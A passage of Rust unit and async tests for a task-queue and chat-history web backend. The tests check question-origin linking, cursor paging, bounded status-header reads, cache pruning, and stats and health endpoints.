24244 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
24245 assert!(APP_JS.contains("function statsDonutArcs"));
24246 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
24247 assert!(APP_JS.contains("function statusInBucket"));
24249 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
24250 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
24251 let buckets = [
24252 "merged",
24253 "ready",
24254 "in_progress",
24255 "blocked",
24256 "failed",
24257 "verified_noop",
24258 "superseded",
24259 "stalled",
24260 ];
24261 for key in buckets {
24262 let var = format!("--verdict-{key}:");
24263 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
24265 assert!(
24266 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
24267 "{key}"
24268 );
24269 }
24270 }
24271
24272 #[tokio::test]
24273 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
24274 let dir = tempfile::tempdir().expect("tempdir");
24275 let queue = Queue::at(dir.path().join("queue"));
24276 let talks = Talks::at(dir.path().join("talks"));
24277 std::fs::create_dir_all(queue.root()).unwrap();
24278 std::fs::create_dir_all(talks.root()).unwrap();
24279
24280 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
24282 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
24283
24284 let mut task = Task::new(
24286 "title".into(),
24287 "inst".into(),
24288 PathBuf::from("/repo"),
24289 Source::Human,
24290 );
24291 task.id = "20261019-123456-abcd".into();
24292 std::fs::write(
24294 queue.path_of(&task.id),
24295 serde_json::to_string(&task).unwrap(),
24296 )
24297 .unwrap();
24298
24299 let talk_id = "20261019-234567-cdef";
24300 seed_talk_at(&talks, talk_id, "open");
24301
24302 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
24304 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
24305
24306 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
24308 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
24309 }
24310
24311 #[tokio::test]
24312 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
24313 let home = tempfile::tempdir().unwrap();
24314 let ui = delta_test_ui(home.path());
24315 std::fs::write(ui.queue.root(), "not a directory").unwrap();
24317 std::fs::write(ui.talks.root(), "not a directory").unwrap();
24318 assert!(
24319 questions_list(State(ui.clone()))
24320 .await
24321 .unwrap()
24322 .0
24323 .is_empty()
24324 );
24325 assert!(
24326 question_origins(State(ui.clone()))
24327 .await
24328 .unwrap()
24329 .0
24330 .is_empty()
24331 );
24332 let mut question = Question::new(
24333 "run-history".into(),
24334 "review".into(),
24335 "seat".into(),
24336 "Useful question".into(),
24337 "Useful detail".into(),
24338 vec![],
24339 );
24340 ui.questions.put(&mut question).unwrap();
24341 let core = questions_core(State(ui.clone())).await.unwrap().0;
24342 assert_eq!(core.len(), 1);
24343 assert_eq!(core[0].question.summary, "Useful question");
24344 assert!(!core[0].can_consult_chat);
24345 assert!(core[0].origin_chat.is_none());
24346 assert_eq!(core[0].record_revision, question_record_revision(&question));
24347 assert!(question_origins(State(ui.clone())).await.is_err());
24348 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24349 }
24350
24351 #[tokio::test]
24352 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
24353 let home = tempfile::tempdir().unwrap();
24354 let ui = delta_test_ui(home.path());
24355 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
24356 let mut parent = Task::new(
24357 "parent".into(),
24358 "body".into(),
24359 PathBuf::from("/repo"),
24360 Source::Agent {
24361 run: chat.clone(),
24362 node: crate::queue::CHAT_NODE.into(),
24363 },
24364 );
24365 parent.id = "parent-task".into();
24366 parent.runs = vec!["parent-run".into()];
24367 ui.queue.put(&mut parent).unwrap();
24368 let mut previous = parent;
24369 for generation in 1..=2 {
24370 let mut child = Task::new(
24371 "child".into(),
24372 "body".into(),
24373 PathBuf::from("/repo"),
24374 Source::Human,
24375 );
24376 child.id = format!("child-task-{generation}");
24377 child.runs = vec![format!("child-run-{generation}")];
24378 child.followup = Some(crate::queue::FollowUp {
24379 origin_task: Some(previous.id.clone()),
24380 run: previous.runs[0].clone(),
24381 pr: String::new(),
24382 findings: vec![],
24383 generation,
24384 });
24385 ui.queue.put(&mut child).unwrap();
24386 previous = child;
24387 }
24388 let mut collision = Task::new(
24391 "collision".into(),
24392 String::new(),
24393 PathBuf::from("/repo"),
24394 Source::Human,
24395 );
24396 collision.id = "collision-task".into();
24397 collision.runs = vec![previous.id.clone()];
24398 ui.queue.put(&mut collision).unwrap();
24399 let mut questions = Vec::new();
24400 for (node, reference, expected, eligible) in [
24401 (crate::triage::NODE, previous.id.as_str(), true, false),
24402 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
24403 ("review", previous.runs[0].as_str(), true, true),
24404 (
24405 crate::bump::NOTICE_NODE,
24406 previous.runs[0].as_str(),
24407 true,
24408 false,
24409 ),
24410 ("review", previous.id.as_str(), false, false),
24412 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
24413 ("review", "unrelated", false, false),
24414 ] {
24415 let mut q = Question::new(
24416 reference.into(),
24417 node.into(),
24418 "seat".into(),
24419 "Question".into(),
24420 String::new(),
24421 vec![],
24422 );
24423 ui.questions.put(&mut q).unwrap();
24424 questions.push((q, expected, eligible));
24425 }
24426 for (node, reference, associated, eligible) in [
24427 (crate::reconcile::NODE, previous.id.as_str(), true, false),
24428 (
24429 crate::reconcile::NODE,
24430 previous.runs[0].as_str(),
24431 false,
24432 true,
24433 ),
24434 ("implement", previous.id.as_str(), false, false),
24435 ] {
24436 let mut q = Question::new(
24437 reference.into(),
24438 node.into(),
24439 crate::reconcile::SEAT.into(),
24440 "Reconcile".into(),
24441 String::new(),
24442 vec![],
24443 );
24444 ui.questions.put(&mut q).unwrap();
24445 questions.push((q, associated, eligible));
24446 }
24447 let mut release = Question::new(
24448 "release-record".into(),
24449 crate::bump::NOTICE_NODE.into(),
24450 "release-watch".into(),
24451 "Release".into(),
24452 String::new(),
24453 vec![],
24454 );
24455 ui.questions.put(&mut release).unwrap();
24456 let watch = crate::release_watch::WatchState {
24457 question: Some(release.id.clone()),
24458 run: Some(previous.runs[0].clone()),
24459 held_task: Some(previous.id.clone()),
24460 ..Default::default()
24461 };
24462 let watch_dir = home.path().join("release-watch");
24463 std::fs::create_dir_all(&watch_dir).unwrap();
24464 let watch_path = watch_dir.join("watch.json");
24465 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24466 for batch in [
24468 Vec::new(),
24469 questions.iter().map(|(q, _, _)| q.clone()).collect(),
24470 ] {
24471 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
24472 assert!(watches.is_empty());
24473 }
24474 questions.push((release.clone(), true, false));
24475
24476 let views = questions_list(State(ui.clone())).await.unwrap().0;
24477 let origins = question_origins(State(ui.clone())).await.unwrap().0;
24478 for (q, associated, eligible) in &questions {
24479 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
24480 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
24481 let expected = associated.then_some(chat.as_str());
24482 assert_eq!(
24483 view.origin_chat.as_deref(),
24484 expected,
24485 "{} {}",
24486 q.node,
24487 q.run
24488 );
24489 assert_eq!(origin.origin_chat.as_deref(), expected);
24490 assert_eq!(view.origin_chat_closed, *associated);
24491 assert_eq!(origin.origin_chat_closed, *associated);
24492 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24493 assert_eq!(origin.can_consult_chat, *eligible);
24494 }
24495 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24497 let link = crate::release_watch::WatchState {
24498 run,
24499 held_task,
24500 ..watch.clone()
24501 };
24502 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24503 let (tasks, talks, watches) =
24504 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24505 assert_eq!(
24506 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24507 .unwrap()
24508 .id,
24509 chat,
24510 );
24511 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24512 }
24513 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24514 let duplicate_path = watch_dir.join("duplicate.json");
24516 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24517 let (tasks, talks, watches) =
24518 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24519 assert!(
24520 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24521 .is_none()
24522 );
24523 std::fs::remove_file(duplicate_path).unwrap();
24524 let mut unrelated = Task::new(
24526 "other".into(),
24527 String::new(),
24528 PathBuf::from("/repo"),
24529 Source::Human,
24530 );
24531 unrelated.id = "unrelated-task".into();
24532 ui.queue.put(&mut unrelated).unwrap();
24533 let mut conflicting = watch.clone();
24534 conflicting.held_task = Some(unrelated.id);
24535 std::fs::write(
24536 watch_dir.join("conflict.json"),
24537 serde_json::to_vec(&conflicting).unwrap(),
24538 )
24539 .unwrap();
24540 let (tasks, talks, watches) =
24541 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24542 assert!(
24543 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24544 .is_none()
24545 );
24546 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24547 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24548 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24549 assert!(origin.origin_chat.is_none());
24550 assert!(!origin.origin_chat_closed);
24551 }
24552 }
24553
24554 #[test]
24555 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24556 let home = tempfile::tempdir().unwrap();
24557 let ui = delta_test_ui(home.path());
24558 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24559 for i in 0..1000 {
24560 let mut task = Task::new(
24561 "unrelated".into(),
24562 "instruction ".repeat(256),
24563 PathBuf::from("/repo"),
24564 Source::Human,
24565 );
24566 task.id = format!("history-{i:04}");
24567 ui.queue.put(&mut task).unwrap();
24568 let id = seed_talk_at(&ui.talks, &task.id, "open");
24569 let mut talk = ui.talks.get(&id).unwrap();
24570 talk.pending = "history ".repeat(256);
24571 ui.talks.put(&mut talk).unwrap();
24572 }
24573 let mut parent = Task::new(
24574 "parent".into(),
24575 "body".into(),
24576 PathBuf::from("/repo"),
24577 Source::Agent {
24578 run: chat_id.clone(),
24579 node: crate::queue::CHAT_NODE.into(),
24580 },
24581 );
24582 parent.id = "task-parent".into();
24583 parent.runs = vec!["run-parent".into()];
24584 ui.queue.put(&mut parent).unwrap();
24585 let mut child = Task::new(
24586 "child".into(),
24587 "body".into(),
24588 PathBuf::from("/repo"),
24589 Source::Human,
24590 );
24591 child.id = "task-child".into();
24592 child.runs = vec!["run-child".into()];
24593 child.followup = Some(crate::queue::FollowUp {
24594 run: "run-parent".into(),
24595 origin_task: Some(parent.id.clone()),
24596 pr: "https://example.invalid/pr/1".into(),
24597 findings: vec![],
24598 generation: 1,
24599 });
24600 ui.queue.put(&mut child).unwrap();
24601 let mut question = Question::new(
24602 child.id.clone(),
24603 crate::conduct::NODE.into(),
24604 "seat".into(),
24605 "Continue?".into(),
24606 String::new(),
24607 vec![],
24608 );
24609 let (tasks, talks, _watches) =
24610 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24611 assert_eq!(tasks.len(), 2);
24612 assert_eq!(talks.len(), 1);
24613 assert_eq!(
24614 ui.monitor.queue_index.lock().unwrap().reparsed,
24615 0,
24616 "exact ancestry bypasses the index"
24617 );
24618 assert_eq!(
24619 crate::consult::origin_talk(&tasks, &talks, &question)
24620 .unwrap()
24621 .id,
24622 chat_id
24623 );
24624 question.run = "run-child".into();
24625 question.node = "review".into();
24626 for origin_task in [Some(parent.id.clone()), None] {
24627 child.followup.as_mut().unwrap().origin_task = origin_task;
24628 ui.queue.put(&mut child).unwrap();
24629 let (tasks, talks, _watches) =
24630 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24631 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24632 let expected =
24633 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24634 .unwrap();
24635 assert_eq!(actual.id, expected.id);
24636 assert!(!actual.status.open());
24637 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24638 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24639 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24642 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24643 }
24644 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24645 ui.queue.put(&mut child).unwrap();
24646 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24647 let (tasks, talks, _watches) =
24648 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24649 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24650 child.origin_chat = Some(chat_id.clone());
24651 ui.queue.put(&mut child).unwrap();
24652 let (tasks, talks, _watches) =
24653 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24654 assert_eq!(
24655 crate::consult::origin_talk(&tasks, &talks, &question)
24656 .unwrap()
24657 .id,
24658 chat_id
24659 );
24660 let revision = question_record_revision(&question);
24661 question.abandon("settled elsewhere");
24662 assert_ne!(revision, question_record_revision(&question));
24663 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24664 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
24665 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24666 let (tasks, talks, _watches) =
24667 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24668 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24669 }
24670
24671 #[test]
24672 fn list_cursors_freeze_membership_and_expire_explicitly() {
24673 let home = tempfile::tempdir().unwrap();
24674 let ui = delta_test_ui(home.path());
24675 std::fs::create_dir_all(ui.queue.root()).unwrap();
24676 for i in 0..40 {
24677 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24678 }
24679 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24680 assert_eq!(first.len(), STORE_PAGE_SIZE);
24681 let cursor = cursor.unwrap();
24682 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24683 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24684 let (second, _) = page_ids(
24685 &ui,
24686 false,
24687 PageQuery {
24688 before: Some(cursor.clone()),
24689 },
24690 )
24691 .unwrap();
24692 assert_eq!(second[0], "record-0023");
24693 assert!(second.iter().all(|id| !first.contains(id)));
24694 assert!(
24695 page_ids(
24696 &ui,
24697 true,
24698 PageQuery {
24699 before: Some(cursor.clone())
24700 }
24701 )
24702 .is_err()
24703 );
24704 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24705 assert_eq!(fresh[0], "record-9999");
24706 ui.monitor.list_walks.lock().unwrap().clear();
24707 assert!(
24708 page_ids(
24709 &ui,
24710 false,
24711 PageQuery {
24712 before: Some(cursor)
24713 }
24714 )
24715 .is_err()
24716 );
24717 }
24718
24719 #[tokio::test]
24720 async fn talk_pages_load_every_open_then_frozen_closed_history() {
24721 let home = tempfile::tempdir().unwrap();
24722 let ui = delta_test_ui(home.path());
24723 for i in 0..23 {
24725 seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
24726 }
24727 for i in 0..45 {
24728 seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
24729 }
24730 std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
24731 let first = talks_page(
24732 State(ui.clone()),
24733 Query(PageQuery::default()),
24734 header::HeaderMap::new(),
24735 )
24736 .await
24737 .unwrap()
24738 .0;
24739 assert_eq!(
24740 first.rows.iter().filter(|row| row.status.open()).count(),
24741 23
24742 );
24743 assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
24744 assert!(first.rows[..23].iter().all(|row| row.status.open()));
24745 let parsed = ui
24746 .monitor
24747 .talk_parses
24748 .load(std::sync::atomic::Ordering::Relaxed);
24749 assert_eq!(
24750 parsed,
24751 first.rows.len(),
24752 "closed bodies outside this page are not restored"
24753 );
24754 let fresh = talks_page(
24755 State(ui.clone()),
24756 Query(PageQuery::default()),
24757 header::HeaderMap::new(),
24758 )
24759 .await
24760 .unwrap()
24761 .0;
24762 assert_eq!(fresh.rows.len(), first.rows.len());
24763 assert_eq!(
24764 ui.monitor
24765 .talk_parses
24766 .load(std::sync::atomic::Ordering::Relaxed),
24767 parsed
24768 );
24769 let mut seen: std::collections::HashSet<_> =
24770 first.rows.iter().map(|row| row.id.clone()).collect();
24771 seed_talk_at(&ui.talks, "20261019-000000-000", "open");
24773 seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
24774 std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
24775 let mut next = first.next;
24776 while let Some(cursor) = next {
24777 let page = talks_page(
24778 State(ui.clone()),
24779 Query(PageQuery {
24780 before: Some(cursor),
24781 }),
24782 header::HeaderMap::new(),
24783 )
24784 .await
24785 .unwrap()
24786 .0;
24787 assert!(page.rows.len() <= STORE_PAGE_SIZE);
24788 for row in page.rows {
24789 assert!(seen.insert(row.id), "a cursor must not repeat membership");
24790 }
24791 next = page.next;
24792 }
24793 let expected: HashSet<_> = (0..23)
24794 .map(|i| format!("20260101-000000-{i:03}"))
24795 .chain(
24796 (0..45)
24797 .filter(|i| *i != 1)
24798 .map(|i| format!("20261019-000000-{i:03}")),
24799 )
24800 .collect();
24801 assert_eq!(
24802 seen, expected,
24803 "the cursor walk must return every surviving ID"
24804 );
24805 let refreshed = talks_page(
24806 State(ui.clone()),
24807 Query(PageQuery::default()),
24808 header::HeaderMap::new(),
24809 )
24810 .await
24811 .unwrap()
24812 .0;
24813 assert_eq!(
24814 refreshed
24815 .rows
24816 .iter()
24817 .filter(|row| row.status.open())
24818 .count(),
24819 23
24820 );
24821 assert!(
24822 refreshed
24823 .rows
24824 .iter()
24825 .any(|row| row.id == "20261019-000000-000")
24826 );
24827 assert!(
24828 !refreshed
24829 .rows
24830 .iter()
24831 .any(|row| row.id == "20260101-000000-000")
24832 );
24833 }
24834
24835 #[test]
24836 fn talk_pages_with_only_open_rows_have_no_history_cursor() {
24837 let home = tempfile::tempdir().unwrap();
24838 let ui = delta_test_ui(home.path());
24839 for i in 0..STORE_PAGE_SIZE + 5 {
24840 seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
24841 }
24842 let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
24843 assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
24844 assert!(next.is_none());
24845 }
24846
24847 #[test]
24848 fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
24849 struct Counted<R> {
24850 inner: R,
24851 bytes: usize,
24852 }
24853 impl<R: std::io::Read> std::io::Read for Counted<R> {
24854 fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
24855 let n = self.inner.read(buf)?;
24856 self.bytes += n;
24857 Ok(n)
24858 }
24859 }
24860 let home = tempfile::tempdir().unwrap();
24861 let ui = delta_test_ui(home.path());
24862 let id = seed_talk_at(&ui.talks, "header-chat", "closed");
24863 let mut chat = ui.talks.get(&id).unwrap();
24864 for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
24865 chat.turns = vec![
24866 serde_json::from_value(serde_json::json!({
24867 "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
24868 }))
24869 .unwrap(),
24870 ];
24871 for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
24872 chat.status = status;
24873 let body = serde_json::to_vec_pretty(&chat).unwrap();
24875 let mut reader = Counted {
24876 inner: body.as_slice(),
24877 bytes: 0,
24878 };
24879 assert_eq!(read_talk_status(&mut reader), Some(status));
24880 assert!(
24881 reader.bytes <= 1024,
24882 "header classification read {} bytes",
24883 reader.bytes
24884 );
24885 }
24886 }
24887 let noncanonical = format!(
24890 r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
24891 "x".repeat(1024 * 1024)
24892 );
24893 let mut reader = Counted {
24894 inner: noncanonical.as_bytes(),
24895 bytes: 0,
24896 };
24897 assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
24898 assert!(reader.bytes <= 1024);
24899 let oversized = format!(
24900 r#"{{"agent":"{}","status":"open"}}"#,
24901 "x".repeat(128 * 1024)
24902 );
24903 let mut reader = Counted {
24904 inner: oversized.as_bytes(),
24905 bytes: 0,
24906 };
24907 assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
24908 assert!(reader.bytes <= 64 * 1024);
24909 }
24910
24911 #[test]
24912 fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
24913 let home = tempfile::tempdir().unwrap();
24914 let ui = delta_test_ui(home.path());
24915 seed_talk_at(&ui.talks, "header-chat", "open");
24916 std::fs::create_dir_all(ui.queue.root()).unwrap();
24917 let (started, ready) = std::sync::mpsc::channel();
24918 let (release, wait) = std::sync::mpsc::channel();
24919 let chat_ui = ui.clone();
24920 let scan = std::thread::spawn(move || {
24921 page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
24922 started.send(()).unwrap();
24923 wait.recv().unwrap();
24924 open_talk_ids(ui, ids)
24925 })
24926 .unwrap()
24927 });
24928 ready.recv_timeout(Duration::from_secs(2)).unwrap();
24929 let (finished, result) = std::sync::mpsc::channel();
24930 let queue = std::thread::spawn(move || {
24931 finished
24932 .send(page_ids(&ui, false, PageQuery::default()).is_ok())
24933 .unwrap();
24934 });
24935 let completed = result.recv_timeout(Duration::from_secs(2));
24936 release.send(()).unwrap();
24938 scan.join().unwrap();
24939 queue.join().unwrap();
24940 assert!(
24941 completed.unwrap(),
24942 "queue paging must not wait for chat header I/O"
24943 );
24944 }
24945
24946 #[test]
24947 fn talk_status_projection_does_not_cache_files_changed_during_read() {
24948 let home = tempfile::tempdir().unwrap();
24949 let ui = delta_test_ui(home.path());
24950 let ids = vec!["changing-chat".to_owned()];
24951 seed_talk_at(&ui.talks, &ids[0], "closed");
24952 assert!(open_talk_ids(&ui, &ids).is_empty());
24953 seed_talk_at(&ui.talks, &ids[0], "open");
24954 let open = open_talk_ids_with(&ui, &ids, |path| {
24955 let value: serde_json::Value =
24956 serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
24957 seed_talk_at(&ui.talks, &ids[0], "closed");
24959 serde_json::from_value(value["status"].clone()).ok()
24960 });
24961 assert!(open.contains(&ids[0]));
24962 assert!(
24963 ui.monitor
24964 .talk_status_index
24965 .lock()
24966 .unwrap()
24967 .records
24968 .is_empty()
24969 );
24970 assert!(open_talk_ids(&ui, &ids).is_empty());
24971 assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
24972 }
24973
24974 #[test]
24975 fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
24976 let home = tempfile::tempdir().unwrap();
24977 let ui = delta_test_ui(home.path());
24978 let headers = header::HeaderMap::new();
24979 seed_talk_at(&ui.talks, "open-chat", "open");
24980 seed_talk_at(&ui.talks, "closed-chat", "closed");
24981 talk_rows(
24982 &ui,
24983 vec!["open-chat".into(), "closed-chat".into()],
24984 &headers,
24985 );
24986 {
24987 let mut index = ui.monitor.talk_index.lock().unwrap();
24988 let closed = index["closed-chat"].1.clone();
24989 for i in 0..1000 {
24990 index.insert(
24991 format!("cached-closed-{i}"),
24992 (
24993 file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
24994 closed.clone(),
24995 ),
24996 );
24997 }
24998 }
24999 assert_eq!(
25000 talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
25001 1
25002 );
25003 assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
25004 assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25005 assert_eq!(
25006 ui.monitor
25007 .talk_parses
25008 .load(std::sync::atomic::Ordering::Relaxed),
25009 2
25010 );
25011 {
25012 let mut index = ui.monitor.talk_index.lock().unwrap();
25013 let open = index["open-chat"].1.clone();
25014 for i in 0..1000 {
25015 index.insert(
25016 format!("cached-open-{i}"),
25017 (
25018 file_identity(&ui.talks.path_of("open-chat")).unwrap(),
25019 open.clone(),
25020 ),
25021 );
25022 }
25023 }
25024 assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25026 assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
25027 assert_eq!(
25028 ui.monitor
25029 .talk_parses
25030 .load(std::sync::atomic::Ordering::Relaxed),
25031 2
25032 );
25033 }
25034
25035 #[test]
25036 fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
25037 let home = tempfile::tempdir().unwrap();
25038 let ui = delta_test_ui(home.path());
25039 std::fs::create_dir_all(ui.talks.root()).unwrap();
25040 let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
25041 for id in &ids {
25042 std::fs::write(
25043 ui.talks.path_of(id),
25044 r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
25045 )
25046 .unwrap();
25047 }
25048 assert!(open_talk_ids(&ui, &ids).is_empty());
25049 assert_eq!(
25050 ui.monitor.talk_status_index.lock().unwrap().parses,
25051 ids.len()
25052 );
25053 assert!(open_talk_ids(&ui, &ids).is_empty());
25054 assert_eq!(
25055 ui.monitor.talk_status_index.lock().unwrap().parses,
25056 ids.len()
25057 );
25058 std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
25059 std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
25060 assert_eq!(
25061 open_talk_ids(&ui, &ids),
25062 std::collections::HashSet::from([ids[0].clone()])
25063 );
25064 let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
25065 assert_eq!(parsed, ids.len() + 2);
25066 open_talk_ids(&ui, &ids);
25067 assert_eq!(
25068 ui.monitor.talk_status_index.lock().unwrap().parses,
25069 parsed,
25070 "unreadable rows are cached too"
25071 );
25072 std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
25073 assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
25074 assert!(
25075 !ui.monitor
25076 .talk_status_index
25077 .lock()
25078 .unwrap()
25079 .records
25080 .contains_key(&ids[0])
25081 );
25082 assert!(
25083 ui.monitor.talk_index.lock().unwrap().is_empty(),
25084 "classification never caches bodies"
25085 );
25086 }
25087
25088 #[tokio::test]
25089 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
25090 let home = tempfile::tempdir().unwrap();
25091 let ui = delta_test_ui(home.path());
25092 let mut task = Task::new(
25093 "task".into(),
25094 "body".into(),
25095 PathBuf::from("/repo"),
25096 Source::Human,
25097 );
25098 ui.queue.put(&mut task).unwrap();
25099 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25100 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25101 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25102 let expected = parsed + usize::from(!cfg!(unix));
25103 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25104 task.status = crate::queue::TaskStatus::Held;
25105 ui.queue.put(&mut task).unwrap();
25106 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25107 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
25108 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
25109 ui.queue.put(&mut task).unwrap();
25110 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25111 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25112 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
25113 }
25114
25115 #[tokio::test]
25116 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
25117 let home = tempfile::tempdir().unwrap();
25118 let ui = delta_test_ui(home.path());
25119 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25120 let before = health(State(ui.clone())).await.unwrap().0;
25121 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
25122 let after = health(State(ui)).await.unwrap().0;
25123 assert_ne!(before.notifications_rev, after.notifications_rev);
25124 assert_eq!(after.notifications_unread, 1);
25125 }
25126
25127 #[tokio::test]
25128 async fn list_pages_bound_history_and_keep_dependency_evidence() {
25129 let home = tempfile::tempdir().unwrap();
25130 let ui = delta_test_ui(home.path());
25131 let queue = &ui.queue;
25132 let talks = &ui.talks;
25133 for i in 0..1000 {
25134 let id = format!("20261019-{i:06}-page");
25135 let mut task = Task::new(
25136 "task".into(),
25137 "instruction".repeat(100),
25138 PathBuf::from("/repo/magi"),
25139 Source::Human,
25140 );
25141 task.id = id.clone();
25142 if i == 0 {
25143 task.status = crate::queue::TaskStatus::Held;
25144 } else if i == 999 {
25145 task.status = crate::queue::TaskStatus::Blocked;
25146 task.blocked_by = vec!["20261019-000000-page".into()];
25147 }
25148 queue.put(&mut task).unwrap();
25149 seed_talk_at(talks, &id, "closed");
25150 }
25151 let page = serde_json::to_value(
25152 queue_page(State(ui.clone()), Query(PageQuery::default()))
25153 .await
25154 .unwrap()
25155 .0,
25156 )
25157 .unwrap();
25158 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25159 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
25160 assert!(
